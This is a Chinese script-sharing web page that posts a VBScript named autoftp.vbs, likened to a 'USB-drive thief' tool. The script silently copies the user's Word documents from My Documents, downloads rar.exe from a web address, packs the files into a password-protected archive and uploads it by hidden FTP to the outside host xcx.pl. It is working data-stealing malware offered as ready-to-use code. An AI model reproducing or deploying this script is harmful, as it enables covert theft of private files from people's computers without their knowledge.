- ·上一篇文章:列出本地或远程服务的vbs代码(wmi)
- ·下一篇文章:内网VBS确定主域服务器
- ·百度中搜索更多的关于“autoftp.vbs 类似u盘大盗”相关内容
- ·谷歌中搜索更多的关于“autoftp.vbs 类似u盘大盗”相关内容
- ******申明******
- 本站文章内容有部分为收录网络中其他网友内容,DOS资源站不保证所有的代码都适合你使用。
- 由于编辑匆忙,有可能造成某些脚本文件出现丢失代码或代码无法运行的情况,请网友根据情况自行修改。
- 如果能将出错部分反馈给我,那就更好了。
autoftp.vbs 类似u盘大盗
Set ObjFSO=CreateObject("Scripting.FileSystemObject")
Set wshshell=Wscript.CreateObject("Wscript.Shell")
osdir=Wshshell.ExpandEnvironmentStrings("%systemroot%")
strMyDocumente = WshShell.SpecialFolders("MyDocuments")
Set f=Objfso.GetFolder(osdir)
If Not ( Objfso.FolderExists(f&"\ftp.txt")) Then
set thisfile=ObjFSO.OpenTextFile(f&"\ftp.txt",2,True,0)
thisfile.write("open xcx.pl 21"&vbcrlf&"用户名"&vbcrlf&"密码"&vbcrlf&"put "&f&"\temp\"&date&".rar"&vbcrlf&"bye"&vbcrlf)
thisfile.close
End if
If Not ( Objfso.FolderExists(f&"\"&date)) Then
Set objFolder = objFSO.CreateFolder(f&"\"&date)
End if
If ( Objfso.FolderExists(objFolder)) Then
objFSO.CopyFile strMyDocumente&"\*.doc", objFolder , True
End If
If Not Objfso.FileExists(f&"\system32\rar.exe") Then
Set x= CreateObject("Microsoft.XMLHTTP")
x.Open "GET","http://url/rar.exe",0
x.Send()
Set s = CreateObject("ADODB.Stream")
with s
.Type = 1
.Open()
.Write(x.responseBody)
.SaveToFile f&"\system32\rar.exe" ,2
End with
WScript.Sleep 72000
End if
If Objfso.FileExists(f&"\system32\rar.exe") Then
wshshell.run "cmd /c rar.exe a -hp[密码] "&f&"\temp\"&date&".rar " &f&"\"&date&"\*.doc" ,0
wscript.sleep 72000
wshshell.run "cmd /c ftp -s:"&f&"\ftp.txt",0
End if

